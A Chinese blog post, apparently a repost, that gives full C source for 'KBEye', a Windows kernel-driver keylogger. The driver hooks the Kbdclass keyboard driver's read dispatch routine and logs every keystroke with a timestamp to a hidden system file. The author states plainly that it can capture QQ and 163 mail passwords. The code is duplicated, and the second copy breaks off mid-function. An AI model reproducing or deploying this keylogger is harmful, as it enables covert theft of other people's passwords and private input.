KBEye——专注键盘
来源:互联网 发布:淘宝网电影 编辑:程序博客网 时间:2024/05/30 04:36
KBEye——小菜作品,没什么技术含量!
/********************************************************************
created: 2010/03/17 23:10
filename: KBEye.h
file base: KBEye
file ext: h
author: ejoyc
purpose: declare and define something
*********************************************************************/
#pragma once
#include <ntddk.h>
#include <strsafe.h>
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath);
VOID KBEyeUnload(IN PDRIVER_OBJECT DriverObject);
BOOLEAN HookFunc(BOOLEAN bIsHook);
NTSTATUS NTAPI ObReferenceObjectByName(PUNICODE_STRING ObjectName,
ULONG Attributes,
PACCESS_STATE Passed,
ACCESS_MASK DesiredAccess,
POBJECT_TYPE ObjectType,
KPROCESSOR_MODE Access,
PVOID ParseContext,
PVOID* ObjectPtr );
typedef NTSTATUS (*PDRVOBJDISPATCHFUNC)(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
NTSTATUS KBEyeReadFunc(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
NTSTATUS KBEyeReadCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context );
VOID ThreadFunc(PVOID lpContext);
NTSTATUS InitThread();
typedef struct _KEYBOARD_INPUT_DATA
{
USHORT UnitId;//设备编号
USHORT MakeCode;//扫描码
USHORT Flags;//标记按键
USHORT Reserved;//保留
ULONG ExtraInformation;//扩展信息
}KEYBOARD_INPUT_DATA,*PKEYBOARD_INPUT_DATA;
UCHAR AsciiTbl[]=
{
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E
};
//----------------------------------华丽的分割线----------------------------------//
/********************************************************************
created: 2010/03/17 23:10
filename: KBEye.c
file base: KBEye
file ext: c
author: ejoyc
purpose: implement something
*********************************************************************/
#include "KBEye.h"
extern POBJECT_TYPE IoDriverObjectType;
PDRIVER_OBJECT KbdDriverObject=NULL;
PDRVOBJDISPATCHFUNC OldKbdDrvObjDispatchFunc=NULL;
BOOLEAN IsEnding=FALSE;
PIRP PendingIrp = NULL;
ULONG ulPendingIrps= 0;
PETHREAD ThreadObject;
KEVENT hEvent;
UCHAR Buffer[32];
KSPIN_LOCK SpinLock;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS NtStatus=STATUS_UNSUCCESSFUL;
KdPrint(("[KBEye]loading...\r\n"));
DriverObject->DriverUnload=KBEyeUnload;
KeInitializeEvent(&hEvent,SynchronizationEvent,FALSE);
MmLockPagableDataSection(&hEvent);
KeInitializeSpinLock(&SpinLock);
InitThread();
if (HookFunc(TRUE))
{
NtStatus=STATUS_SUCCESS;
}
return NtStatus;
}
VOID KBEyeUnload(IN PDRIVER_OBJECT DriverObject)
{
PRKTHREAD CurrentThread=KeGetCurrentThread();
LARGE_INTEGER interval=RtlConvertUlongToLargeInteger(250*1000*(-10));
HookFunc(FALSE);
IsEnding=TRUE;
KeSetPriorityThread(CurrentThread,LOW_REALTIME_PRIORITY);
if (ulPendingIrps!=0 && (PendingIrp->CancelRoutine==NULL || FALSE==IoCancelIrp(PendingIrp)))
{
while (ulPendingIrps>0)
{
KeDelayExecutionThread(KernelMode,FALSE,&interval);
}
}
KeSetEvent(&hEvent,IO_NO_INCREMENT, FALSE);
KeWaitForSingleObject(ThreadObject, Executive, KernelMode, FALSE, NULL);
MmUnlockPagableImageSection(&hEvent);
KdPrint(("[KBEye]unloading...\r\n"));
}
BOOLEAN HookFunc(BOOLEAN bIsHook)
{
BOOLEAN bRet=FALSE;
UNICODE_STRING usKbdclassName;
NTSTATUS NtStatus;
KdPrint(("[KBEye]%-8s...\r\n",bIsHook?"Hook":"Unhook"));
RtlInitUnicodeString(&usKbdclassName,L"\\Driver\\Kbdclass");
if (bIsHook && OldKbdDrvObjDispatchFunc==NULL && KbdDriverObject==NULL)
{
NtStatus=ObReferenceObjectByName( &usKbdclassName,
OBJ_CASE_INSENSITIVE,
NULL,
0,
IoDriverObjectType,
KernelMode,
NULL,
&KbdDriverObject);
if (NT_SUCCESS(NtStatus))
{
OldKbdDrvObjDispatchFunc=KbdDriverObject->MajorFunction[IRP_MJ_READ];
InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],KBEyeReadFunc);
ObDereferenceObject(KbdDriverObject);
bRet=TRUE;
}
}
else if (!bIsHook && KbdDriverObject!=NULL && OldKbdDrvObjDispatchFunc!=NULL)
{
InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],OldKbdDrvObjDispatchFunc);
bRet=TRUE;
KbdDriverObject=NULL;
OldKbdDrvObjDispatchFunc=NULL;
}
else
{
KdPrint(("[KBEye]unsuccessful...\r\n"));
}
return bRet;
}
NTSTATUS KBEyeReadFunc(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
PIO_STACK_LOCATION IoStack=IoGetCurrentIrpStackLocation(Irp);
IoStack->CompletionRoutine=KBEyeReadCompletion;
IoStack->Context=IoStack->CompletionRoutine;
IoStack->Control|=SL_INVOKE_ON_SUCCESS;
InterlockedIncrement(&ulPendingIrps);
PendingIrp = (ulPendingIrps>0?Irp:NULL);
return OldKbdDrvObjDispatchFunc(DeviceObject,Irp) ;
}
NTSTATUS KBEyeReadCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context )
{
NTSTATUS NtStatus=STATUS_SUCCESS;
PKEYBOARD_INPUT_DATA pKeyData=NULL;
ULONG ulNums,ulIndex;
KIRQL Irql;
if (NT_SUCCESS(Irp->IoStatus.Status))
{
pKeyData=Irp->AssociatedIrp.SystemBuffer;
ulNums=Irp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
__try
{
for (ulIndex=0;ulIndex<ulNums;ulIndex++)
{
KeAcquireSpinLock(&SpinLock,&Irql);
RtlZeroMemory(Buffer,32);
switch(pKeyData->MakeCode)
{
case 0x01:
StringCchPrintfA(Buffer,32,"(%s)Esc\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Esc\r\n"));
break;
case 0x0E:
StringCchPrintfA(Buffer,32,"(%s)Backspace\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Backspace\r\n"));
break;
case 0x52:
StringCchPrintfA(Buffer,32,"(%s)Insert\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Insert\r\n"));
break;
case 0x5B:
StringCchPrintfA(Buffer,32,"(%s)Windows\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Windows\r\n"));
break;
case 0x0F:
StringCchPrintfA(Buffer,32,"(%s)Tab\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Tab\r\n"));
break;
case 0x1c:
StringCchPrintfA(Buffer,32,"(%s)Enter\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Enter\r\n"));
break;
case 0x3A:
StringCchPrintfA(Buffer,32,"(%s)CAPS LOCK\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]CAPS LOCK\r\n"));
break;
case 0x38:
StringCchPrintfA(Buffer,32,"(%s)Alt\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Alt\r\n"));
break;
case 0x2A:
StringCchPrintfA(Buffer,32,"(%s)Shift\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Shift\r\n"));
break;
case 0x1D:
StringCchPrintfA(Buffer,32,"(%s)Control\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Control\r\n"));
break;
case 0x53:
StringCchPrintfA(Buffer,32,"(%s)Delete\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Delete\r\n"));
break;
case 0x4B:
StringCchPrintfA(Buffer,32,"(%s)←\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]←\r\n"));
break;
case 0x4D:
StringCchPrintfA(Buffer,32,"(%s)→\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]→\r\n"));
break;
case 0x48:
StringCchPrintfA(Buffer,32,"(%s)↑\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]↑\r\n"));
break;
case 0x50:
StringCchPrintfA(Buffer,32,"(%s)↓\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]↓\r\n"));
break;
case 0x5D:
StringCchPrintfA(Buffer,32,"(%s)Menu\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Menu\r\n"));
break;
case 0x37:
StringCchPrintfA(Buffer,32,"(%s)PrintScreen\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]PrintScreen\r\n"));
break;
default:
if (AsciiTbl[pKeyData->MakeCode]>='0' && AsciiTbl[pKeyData->MakeCode]<='z')
{
StringCchPrintfA(Buffer,32,"(%s)%c\r\n",pKeyData->Flags==1?"↑":"↓",AsciiTbl[pKeyData->MakeCode]);
KdPrint(("[KBEye](%s)%c\r\n",pKeyData->Flags==1?"↑":"↓",AsciiTbl[pKeyData->MakeCode]));
}
else
{
StringCchPrintfA(Buffer,32,"(%s)unknown[0x%02X]\r\n",pKeyData->Flags==1?"↑":"↓",pKeyData->MakeCode);
KdPrint(("[KBEye](%s)unknown[0x%02X]\r\n",pKeyData->Flags==1?"↑":"↓",pKeyData->MakeCode));
}
}
pKeyData++;
KeSetEvent(&hEvent,IO_NO_INCREMENT, FALSE);
KeReleaseSpinLock(&SpinLock,Irql);
}
InterlockedDecrement(&ulPendingIrps);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
KdPrint(("[KBEye]KBEyeReadCompletion Error!\r\n"));
}
}
if (Irp->PendingReturned)
{
IoMarkIrpPending(Irp);
}
if (Context!=NULL)
{
return ((PIO_COMPLETION_ROUTINE)Context)(DeviceObject,Irp,NULL);
}
else
{
return Irp->IoStatus.Status;
}
}
NTSTATUS InitThread()
{
NTSTATUS NtStatus;
HANDLE ThreadHandle;
NtStatus = PsCreateSystemThread(&ThreadHandle,
0,
0,
0,
0,
ThreadFunc,
0);
ObReferenceObjectByHandle(ThreadHandle, THREAD_ALL_ACCESS, NULL, KernelMode,(PVOID*)&ThreadObject, NULL);
ZwClose(ThreadHandle);
return NtStatus;
}
VOID ThreadFunc(PVOID lpContext)
{
UNICODE_STRING usFileName;
OBJECT_ATTRIBUTES ObjectAttributes;
HANDLE hFile;
IO_STATUS_BLOCK IoStatus;
FILE_STANDARD_INFORMATION FileInformation;
LARGE_INTEGER CurrentSystemTime;
LARGE_INTEGER CurrentLocalTime;
TIME_FIELDS TimeFields;
ULONG ulIndex;
UCHAR szInfoBuffer[64];
KIRQL Irql;
RtlInitUnicodeString(&usFileName, L"\\??\\C:\\KbEye.txt");
InitializeObjectAttributes(&ObjectAttributes,
&usFileName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
ZwCreateFile(&hFile,
GENERIC_ALL,
&ObjectAttributes,
&IoStatus,
NULL,
FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN ,
0,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
0,
0);
while(IsEnding==FALSE)
{
if (KeWaitForSingleObject(&hEvent, Executive, KernelMode, FALSE, NULL)==STATUS_SUCCESS)
{
KeQuerySystemTime(&CurrentSystemTime);
ExSystemTimeToLocalTime(&CurrentSystemTime,&CurrentLocalTime);
RtlTimeToTimeFields(&CurrentLocalTime,&TimeFields);
KeAcquireSpinLock(&SpinLock,&Irql);
ZwQueryInformationFile( hFile,
&IoStatus,
&FileInformation,
sizeof(FileInformation),
FileStandardInformation);
if(Buffer[31]!='\0')
{
Buffer[31]='\0';
}
RtlZeroMemory(szInfoBuffer,64);
StringCchPrintfA(szInfoBuffer,64,"[%04d-%02d-%02d,%02d:%02d:%02d]",TimeFields.Year,TimeFields.Month,TimeFields.Day,TimeFields.Hour,TimeFields.Minute,TimeFields.Second);
StringCchCatA(szInfoBuffer,64,Buffer);
for(ulIndex=0;ulIndex<64;ulIndex++)
{
if(szInfoBuffer[ulIndex]=='\0')
{
break;
}
}
ZwWriteFile(hFile,
0,
0,
0,
&IoStatus,
szInfoBuffer,
ulIndex,
&FileInformation.EndOfFile,
0);
KeReleaseSpinLock(&SpinLock,Irql);
}
}
ZwClose(hFile);
}
//----------------------------------华丽的分割线 ----------------------------------//
本以为这个程序应该会有人关注,尽管其比较丑陋,但是好歹也可以记录QQ,163邮箱等什么的密码。至少比Ring3下的键盘钩子强——可惜没有多少人看。那我就加几个关键字:
keyword: Kbdclass,IRP-Hook,KBsniffer
/********************************************************************
created: 2010/03/17 23:10
filename: KBEye.h
file base: KBEye
file ext: h
author: ejoyc
purpose: declare and define something
*********************************************************************/
#pragma once
#include <ntddk.h>
#include <strsafe.h>
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath);
VOID KBEyeUnload(IN PDRIVER_OBJECT DriverObject);
BOOLEAN HookFunc(BOOLEAN bIsHook);
NTSTATUS NTAPI ObReferenceObjectByName(PUNICODE_STRING ObjectName,
ULONG Attributes,
PACCESS_STATE Passed,
ACCESS_MASK DesiredAccess,
POBJECT_TYPE ObjectType,
KPROCESSOR_MODE Access,
PVOID ParseContext,
PVOID* ObjectPtr );
typedef NTSTATUS (*PDRVOBJDISPATCHFUNC)(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
NTSTATUS KBEyeReadFunc(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
NTSTATUS KBEyeReadCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context );
VOID ThreadFunc(PVOID lpContext);
NTSTATUS InitThread();
typedef struct _KEYBOARD_INPUT_DATA
{
USHORT UnitId;//设备编号
USHORT MakeCode;//扫描码
USHORT Flags;//标记按键
USHORT Reserved;//保留
ULONG ExtraInformation;//扩展信息
}KEYBOARD_INPUT_DATA,*PKEYBOARD_INPUT_DATA;
UCHAR AsciiTbl[]=
{
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E
};
//----------------------------------华丽的分割线----------------------------------//
/********************************************************************
created: 2010/03/17 23:10
filename: KBEye.c
file base: KBEye
file ext: c
author: ejoyc
purpose: implement something
*********************************************************************/
#include "KBEye.h"
extern POBJECT_TYPE IoDriverObjectType;
PDRIVER_OBJECT KbdDriverObject=NULL;
PDRVOBJDISPATCHFUNC OldKbdDrvObjDispatchFunc=NULL;
BOOLEAN IsEnding=FALSE;
PIRP PendingIrp = NULL;
ULONG ulPendingIrps= 0;
PETHREAD ThreadObject;
KEVENT hEvent;
UCHAR Buffer[32];
KSPIN_LOCK SpinLock;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS NtStatus=STATUS_UNSUCCESSFUL;
KdPrint(("[KBEye]loading...\r\n"));
DriverObject->DriverUnload=KBEyeUnload;
KeInitializeEvent(&hEvent,SynchronizationEvent,FALSE);
MmLockPagableDataSection(&hEvent);
KeInitializeSpinLock(&SpinLock);
InitThread();
if (HookFunc(TRUE))
{
NtStatus=STATUS_SUCCESS;
}
return NtStatus;
}
VOID KBEyeUnload(IN PDRIVER_OBJECT DriverObject)
{
PRKTHREAD CurrentThread=KeGetCurrentThread();
LARGE_INTEGER interval=RtlConvertUlongToLargeInteger(250*1000*(-10));
HookFunc(FALSE);
IsEnding=TRUE;
KeSetPriorityThread(CurrentThread,LOW_REALTIME_PRIORITY);
if (ulPendingIrps!=0 && (PendingIrp->CancelRoutine==NULL || FALSE==IoCancelIrp(PendingIrp)))
{
while (ulPendingIrps>0)
{
KeDelayExecutionThread(KernelMode,FALSE,&interval);
}
}
KeSetEvent(&hEvent,IO_NO_INCREMENT, FALSE);
KeWaitForSingleObject(ThreadObject, Executive, KernelMode, FALSE, NULL);
MmUnlockPagableImageSection(&hEvent);
KdPrint(("[KBEye]unloading...\r\n"));
}
BOOLEAN HookFunc(BOOLEAN bIsHook)
{
BOOLEAN bRet=FALSE;
UNICODE_STRING usKbdclassName;
NTSTATUS NtStatus;
KdPrint(("[KBEye]%-8s...\r\n",bIsHook?"Hook":"Unhook"));
RtlInitUnicodeString(&usKbdclassName,L"\\Driver\\Kbdclass");
if (bIsHook && OldKbdDrvObjDispatchFunc==NULL && KbdDriverObject==NULL)
{
NtStatus=ObReferenceObjectByName( &usKbdclassName,
OBJ_CASE_INSENSITIVE,
NULL,
0,
IoDriverObjectType,
KernelMode,
NULL,
&KbdDriverObject);
if (NT_SUCCESS(NtStatus))
{
OldKbdDrvObjDispatchFunc=KbdDriverObject->MajorFunction[IRP_MJ_READ];
InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],KBEyeReadFunc);
ObDereferenceObject(KbdDriverObject);
bRet=TRUE;
}
}
else if (!bIsHook && KbdDriverObject!=NULL && OldKbdDrvObjDispatchFunc!=NULL)
{
InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],OldKbdDrvObjDispatchFunc);
bRet=TRUE;
KbdDriverObject=NULL;
OldKbdDrvObjDispatchFunc=NULL;
}
else
{
KdPrint(("[KBEye]unsuccessful...\r\n"));
}
return bRet;
}
NTSTATUS KBEyeReadFunc(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
PIO_STACK_LOCATION IoStack=IoGetCurrentIrpStackLocation(Irp);
IoStack->CompletionRoutine=KBEyeReadCompletion;
IoStack->Context=IoStack->CompletionRoutine;
IoStack->Control|=SL_INVOKE_ON_SUCCESS;
InterlockedIncrement(&ulPendingIrps);
PendingIrp = (ulPendingIrps>0?Irp:NULL);
return OldKbdDrvObjDispatchFunc(DeviceObject,Irp) ;
}
NTSTATUS KBEyeReadCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context )
{
NTSTATUS NtStatus=STATUS_SUCCESS;
PKEYBOARD_INPUT_DATA pKeyData=NULL;
ULONG ulNums,ulIndex;
KIRQL Irql;
if (NT_SUCCESS(Irp->IoStatus.Status))
{
pKeyData=Irp->AssociatedIrp.SystemBuffer;
ulNums=Irp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
__try
{
for (ulIndex=0;ulIndex<ulNums;ulIndex++)
{
KeAcquireSpinLock(&SpinLock,&Irql);
RtlZeroMemory(Buffer,32);
switch(pKeyData->MakeCode)
{
case 0x01:
StringCchPrintfA(Buffer,32,"(%s)Esc\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Esc\r\n"));
break;
case 0x0E:
StringCchPrintfA(Buffer,32,"(%s)Backspace\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Backspace\r\n"));
break;
case 0x52:
StringCchPrintfA(Buffer,32,"(%s)Insert\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Insert\r\n"));
break;
case 0x5B:
StringCchPrintfA(Buffer,32,"(%s)Windows\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Windows\r\n"));
break;
case 0x0F:
StringCchPrintfA(Buffer,32,"(%s)Tab\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Tab\r\n"));
break;
case 0x1c:
StringCchPrintfA(Buffer,32,"(%s)Enter\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Enter\r\n"));
break;
case 0x3A:
StringCchPrintfA(Buffer,32,"(%s)CAPS LOCK\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]CAPS LOCK\r\n"));
break;
case 0x38:
StringCchPrintfA(Buffer,32,"(%s)Alt\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Alt\r\n"));
break;
case 0x2A:
StringCchPrintfA(Buffer,32,"(%s)Shift\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Shift\r\n"));
break;
case 0x1D:
StringCchPrintfA(Buffer,32,"(%s)Control\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Control\r\n"));
break;
case 0x53:
StringCchPrintfA(Buffer,32,"(%s)Delete\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Delete\r\n"));
break;
case 0x4B:
StringCchPrintfA(Buffer,32,"(%s)←\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]←\r\n"));
break;
case 0x4D:
StringCchPrintfA(Buffer,32,"(%s)→\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]→\r\n"));
break;
case 0x48:
StringCchPrintfA(Buffer,32,"(%s)↑\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]↑\r\n"));
break;
case 0x50:
StringCchPrintfA(Buffer,32,"(%s)↓\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]↓\r\n"));
break;
case 0x5D:
StringCchPrintfA(Buffer,32,"(%s)Menu\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Menu\r\n"));
break;
case 0x37:
StringCchPrintfA(Buffer,32,"(%s)PrintScreen\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]PrintScreen\r\n"));
break;
default:
if (AsciiTbl[pKeyData->MakeCode]>='0' && AsciiTbl[pKeyData->MakeCode]<='z')
{
StringCchPrintfA(Buffer,32,"(%s)%c\r\n",pKeyData->Flags==1?"↑":"↓",AsciiTbl[pKeyData->MakeCode]);
KdPrint(("[KBEye](%s)%c\r\n",pKeyData->Flags==1?"↑":"↓",AsciiTbl[pKeyData->MakeCode]));
}
else
{
StringCchPrintfA(Buffer,32,"(%s)unknown[0x%02X]\r\n",pKeyData->Flags==1?"↑":"↓",pKeyData->MakeCode);
KdPrint(("[KBEye](%s)unknown[0x%02X]\r\n",pKeyData->Flags==1?"↑":"↓",pKeyData->MakeCode));
}
}
pKeyData++;
KeSetEvent(&hEvent,IO_NO_INCREMENT, FALSE);
KeReleaseSpinLock(&SpinLock,Irql);
}
InterlockedDecrement(&ulPendingIrps);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
KdPrint(("[KBEye]KBEyeReadCompletion Error!\r\n"));
}
}
if (Irp->PendingReturned)
{
IoMarkIrpPending(Irp);
}
if (Context!=NULL)
{
return ((PIO_COMPLETION_ROUTINE)Context)(DeviceObject,Irp,NULL);
}
else
{
return Irp->IoStatus.Status;
}
}
NTSTATUS InitThread()
{
NTSTATUS NtStatus;
HANDLE ThreadHandle;
NtStatus = PsCreateSystemThread(&ThreadHandle,
0,
